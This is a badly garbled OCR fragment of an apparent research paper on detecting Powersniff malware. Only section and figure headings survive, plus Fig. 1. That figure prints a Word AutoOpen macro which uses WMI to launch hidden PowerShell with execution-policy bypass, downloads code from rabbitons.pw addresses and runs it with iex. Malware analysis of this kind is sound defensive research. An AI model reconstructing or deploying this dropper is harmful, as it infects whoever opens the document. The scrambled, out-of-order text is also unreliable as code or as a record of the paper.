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1. Related works
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Sub AutoOpen()
x1 "Download"
h =St
o "power" "shell"
Const HIDDEN_WINDOW
strComputer ot ™
abcdef h "ing"
Set objwMIService

Set objStartup
Set objConfig
objConfig.ShowWindow
Set objProcess

\root\cimv2:Win32_Process")
objProcess.Create o

GetObject("winmgmts:\\"

strComputer "\ root\cimv2")

objWMIService.Get("Win32_ProcessStartup")
objStartup.SpawnInstance_
HIDDEN_WINDOW
GetObject ("winmgmts:\\"

strComputer

" —ExecutionPolicy Bypass -WindowStyle Hidden -

noprofile —noexit —c if ([IntPtr]l::size -eq 4) {(new-object Net.

WebClient)." x1 abcdef

else {(new-object Net.wWebClient)." x1
L, objConfig,

pw/css') | iex}", Nul

End Sub

"“('http://rabbitons.pw/cache')

| iex }
abcdef "('http://rabbitons.

intProcessID

Fig. 1. Smaple code of Powersniff
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Fig. 2, System Architecture
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Table 1. Number of Powersniff variant
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IV. Conclusions
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